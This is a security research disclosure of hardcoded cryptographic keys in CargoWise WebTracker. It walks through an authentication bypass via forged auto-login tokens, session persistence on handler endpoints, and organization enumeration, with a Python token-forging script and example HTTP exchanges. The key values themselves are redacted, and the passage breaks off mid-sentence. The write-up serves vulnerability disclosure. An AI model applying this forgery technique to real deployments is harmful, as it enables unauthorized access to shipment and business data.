- What: Hardcoded keys found in CargoWise WebTracker
- Impact: Potential for unauthorized access to logistics data
June 25, 2026 Security research Patrik Grobshäuser , Shubham Shah , Adam Kues , Dylan Pindur CargoWise WebTracker – The Keys Were in the Cargo Stay current: Get research alerts for newly disclosed vulnerabilities and exposures WiseTech Global develops CargoWise, one of the most widely deployed logistics software platforms in the world. It is used by freight forwarders, customs brokers, warehousing operators and shipping lines across 160+ countries. As part of CargoWise, a customer-facing web portal called WebTracker (version 25.12.3.632 at time of testing) allows external contacts — consignees, shippers, third-party agents — to track shipments, view documents, accept quotes and manage bookings. Each CargoWise customer deploys their own WebTracker instance on their own domain, but the underlying application is the same ASP.NET WebForms codebase shipped as a set of compiled DLLs from WiseTech. A note on redaction We were asked by WiseTech to redact two of the hardcoded key, specifically the ones used by the crypto functions in TripleDESCryptoServiceProviderExtensions and TwoWayEncoder . WiseTech indicated that these credentials may still be in use in other products across their stack, and that exposing them at this stage would be harmful while remediation is ongoing. Their teams are still working through further mitigations, and we agreed to hold these two keys back. Hardcoded Keys Two hardcoded symmetric keys protect the entire application. The file TripleDESCryptoServiceProviderExtensions.cs contains an extension method called InitializeForCargoWise() . Every TripleDES instance in the application is initialized through this method: public static void InitializeForCargoWise(this SymmetricAlgorithm provider) { MD5 mD = MD5.Create(); provider.Key = mD.ComputeHash(Encoding.ASCII.GetBytes( "[REDACTED]" )); provider.IV = new byte[8] { /* REDACTED */ }; } The passphrase and IV are compile-time constants. The key is derived by taking the MD5 hash of the passphrase, then using the first 16 bytes + the first 8 bytes again to form a 24-byte 3DES key. This key protects the SecureQueryString class, which encrypts and decrypts query string parameters throughout the application — authentication tokens, document handler parameters, error page messages, and redirect URLs. A second hardcoded key exists in TwoWayEncoder.cs for AES-256-CBC: private readonly byte[] Key = Encoding.ASCII.GetBytes("[REDACTED]"); The IV is derived from a hardcoded GUID ( [REDACTED] ) by stripping dashes, lowercasing, and taking a 16-character substring. . Authentication Bypass WebTracker has an “auto-login” feature designed for email links. When CargoWise sends a tracking email to a customer, it includes a link with an encrypted token so the recipient can click through without entering a password. The handler for this lives in AutoLoginRequestHandler.cs : public class AutoLoginRequestHandler : IHttpHandler, IRequiresSessionState { public void ProcessRequest(HttpContextBase context) { string text = context.Request.QueryString["AutoLogin"]; SecureQueryString secureQueryString = new SecureQueryString(text); ZGuid contactPK = new ZGuid(secureQueryString["ContactPK"]); bool result = false; if (!bool.TryParse(secureQueryString["RequireLogin"], out result)) result = false; // ... zWebController.RedirectToTrackingPage(contactPK, businessContext, ZString.Empty, result, text); } } The handler reads an encrypted AutoLogin parameter, decrypts it with the hardcoded 3DES key, extracts a ContactPK (a GUID identifying a contact in the CRM), and passes it to ZWebController.RedirectToTrackingPageCore() . This is where the session gets created: private void RedirectToTrackingPageCore(ZGuid contactPK, string targetUrl, bool requireLogin = false, string queryStringData = null) { OrgContact orgContact = Factory.Load<OrgContact>(contactPK); bool flag = orgContact != null && orgContact.Header != null; ZString zString4 = (flag ? orgContact.OC_Email : ((ZString)"CWWeb")); if (!webUser.IsLoggedIn) { webUser.Login(zString2, zString4, User.WebTransientPassword); FormsAuthentication.SetAuthCookie(zString4, createPersistentCookie: false); } RedirectToTrackingPageCore(targetUrl); } The contact is loaded from the database by PK. If it doesn’t exist, the code falls through to the default username "CWWeb" . Critically, FormsAuthentication.SetAuthCookie() is called regardless — even for a non-existent contact. The .ASPXAUTH cookie is issued before any meaningful validation. The token format is straightforward: ContactPK={guid}&RequireLogin=false&__TimeStamp__=2079-06-06 00:00:00Z The __TimeStamp__ field is checked against DateTime.UtcNow in SecureQueryString.DeserializeCore() . Setting it to year 2079 (which happens to be the class’s own default value) ensures the token never expires. Since we have the 3DES key, we can encrypt any token we want: import hashlib, base64, urllib.parse from cryptography.hazmat.primitives.ciphers import Cipher, modes from cryptography.hazmat.decrepit.ciphers.algorithms import TripleDES from cryptography.hazmat.primitives import padding PASSPHRASE = b"[REDACTED]" IV = bytes([]) # REDACTED kh = hashlib.md5(PASSPHRASE).digest() KEY = kh + kh[:8] def encrypt_3des(plaintext): data = plaintext.encode("ascii") p = padding.PKCS7(64).padder() padded = p.update(data) + p.finalize() enc = Cipher(TripleDES(KEY), modes.CBC(IV)).encryptor() return base64.b64encode(enc.update(padded) + enc.finalize()).decode("ascii") token = encrypt_3des( "ContactPK=00000000-0000-0000-0000-000000000001" "&RequireLogin=false" "&__TimeStamp__=2079-06-06 00:00:00Z" ) url = ( "https://<target>/Tracking/" "AutoLoginRequestHandler.axd" f"?AutoLogin={urllib.parse.quote(token, safe='')}" "&ClientRedirection=TRUE" ) The resulting URL authenticates anyone who clicks it: GET /Tracking/AutoLoginRequestHandler.axd?AutoLogin=<encrypted> HTTP/1.1 Host: <target> --> HTTP/1.1 302 Found Set-Cookie: .ASPXAUTH=<hex>; path=/; HttpOnly Location: /Tracking/Default.aspx The ContactPK in this token is 00000000-0000-0000-0000-000000000001 a GUID we chose arbitrarily. It does not need to correspond to any real contact because when Factory.Load<OrgContact>() fails to find this PK in the database, the code falls back to the hardcoded username "CWWeb" and calls FormsAuthentication.SetAuthCookie() anyway. Any non-existent GUID triggers the same fallback. Session Persistence on Handler Endpoints AutoLoginRequestHandler implements IHttpHandler directly — it’s an .axd handler, not an ASP.NET Page . This distinction matters because BasePageWithAuthorisation.OnUnload() contains a session cleanup mechanism: protected override void OnUnload(EventArgs e) { session["AutoLoginQueryStringData"] = null; TrackingSiteUser siteUser = base.SiteUser; if (siteUser != null && siteUser.IsShipmentQuickViewUser) { FormsAuthentication.SignOut(); siteUser.Logout(); session?.Abandon(); } } IsShipmentQuickViewUser returns true when the logged-in user’s organisation matches the deploying company’s own organisation — which is the case for the CWWeb fallback user. This means the .ASPXAUTH cookie is cleared after each .aspx page renders. However, OnUnload only fires on ASP.NET Page subclasses. The .axd handlers ( IHttpHandler ), .ashx handlers, and .asmx WebService endpoints never enter the Page lifecycle. The forged session persists indefinitely across these endpoints. Organization Enumeration The AutoCompleteTextBoxRequestHandler.ashx handler dynamically instantiates helper classes to search the database. The helper parameter is encrypted with the hardcoded AES-256 key: public void ProcessRequest(HttpContext context) { string typeName = queryParamsEncoder.Decrypt(context.Request["helper"]); AutoCompleteHelper autoCompleteHelper = (AutoCompleteHelper)Activator.CreateInstance(Type.GetType(typeName), new object[1]); autoCompleteHelper.MaxOptionsCount = int.Parse( queryParamsEncoder.Decrypt(context.Request["count"])); List<string> list = autoCompleteHelper.GetList(textToSearch); // ...renders HTML <li> items with PKs } Since this is an .ashx handler (implements IHttpHandler ), the forged session persists across calls. Since we have the AES key, we can encrypt any .NET type name for the helper parameter. The OrgHeaderAutoCompleteHelper searches organizations. When called with the forged session, it returns the deploying company’s organization — because the CWWeb fallback user is associated with it: private ZDBOnlyQuery GetOrgRestrictionQuery() { ZGuid oC_OH = ((OrgContact)WebEnv.CurrentUser).OC_OH; zDBOnlyQuery.AddToFilter(OrgHeaderSchema.PK, oC_OH); // + supplier/buyer links if IsConsignor/IsConsignee flags set } POST /Tracking/AutoCompleteTextBoxRequestHandler.ashx HTTP/1.1 Host: <target> Cookie: .ASPXAUTH=<forged> Content-Type: application/x-www-form-urlencoded helper=<AES encrypted type name>&count=<AES encrypted "200">&value= --> HTTP/1.1 200 OK Content-Type: text/plain <li><span><redacted org name> <span style="display:none"><org-pk></span> <org-code></span></li> Supplier/Buyer Link Enumeration The OrgHeaderAutoCompleteHelper accepts serialized parameters that control supplier/buyer filtering: public override void RestoreAdditionalParamsFromSerializedString(string serializedParamsString) { string[] array = serializedParamsString.Split(','); IsConsignor = bool.Parse(array[0]); IsConsignee = bool.Parse(array[1]); NewOrgRelationType = (NewOrgRelationTypes)Enum.Parse(typeof(NewOrgRelationTypes), array[2]); } When IsConsignor or IsConsignee is set, the query expands to include organizations linked through the OrgSupplierBuyerLink table: if (IsConsignor) { ZDBOnlySubQuery zDBOnlySubQuery = new ZDBOnlySubQuery( typeof(OrgSupplierBuyerLink), OrgSupplierBuyerLinkSchema.OL_OH_Supplier); zDBOnlySubQuery.AddToFilter(OrgSupplierBuyerLinkSchema.OL_OH_Buyer, oC_OH); zDBOnlyQuery.AddSubQuery(OrgHeaderSchema.PK, zDBOnlySubQuery, JoinCondition.Or); } By passing params="True,True,Unknown" (both consignor and consignee flags set), the helper returns not just the de